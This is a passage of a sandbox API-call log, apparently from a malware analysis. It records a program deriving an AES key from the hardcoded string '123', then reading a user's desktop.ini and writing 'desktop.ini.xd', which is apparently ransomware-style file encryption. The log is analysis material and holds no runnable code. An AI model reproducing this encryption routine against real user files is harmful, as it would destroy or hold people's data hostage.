hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.001] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.001] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.001] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.002] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0075.002] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.002] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.002] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0075.002] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.002] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.002] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.002] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.002] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.002] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0075.002] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0075.003] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0075.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0075.003] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0075.003] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1632100) returned 1 [0075.004] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.004] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0075.004] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.004] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.004] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.004] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0075.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.004] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.004] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.005] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.005] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.005] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.005] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.005] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.005] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.005] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.005] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.005] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.005] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.005] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.005] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.005] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0075.006] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0075.006] CryptCreateHash (in: hProv=0x1632100, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0075.006] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.006] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.006] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.006] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629400, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.006] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0075.006] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629340, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.006] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.006] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.006] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.006] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0075.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621708, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0075.007] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0075.007] CryptHashData (hHash=0x164c4f0, pbData=0x16293c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0075.007] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.007] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.007] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.007] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.007] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.007] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.007] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.007] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0075.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0075.008] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0075.008] CryptDeriveKey (in: hProv=0x1632100, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c430) returned 1 [0075.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.008] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.008] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0075.008] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0075.008] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0075.008] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0075.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.009] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0075.009] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.009] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0075.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.009] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0075.011] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\desktop.ini.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\desktop.ini.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0075.013] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.013] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.013] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.013] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.015] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0075.015] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x11a, lpOverlapped=0x0) returned 1 [0075.017] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0075.018] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.019] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.019] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.019] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0075.019] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.019] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.019] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0075.019] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.019] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0075.019] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.019] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.019] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.019] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0075.019] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0075.020] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0075.020] CryptGetKeyParam (in: hKey=0x164c430, dwParam=0x7, pbData=0x16294f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0075.020] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.020] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.020] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.020] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: 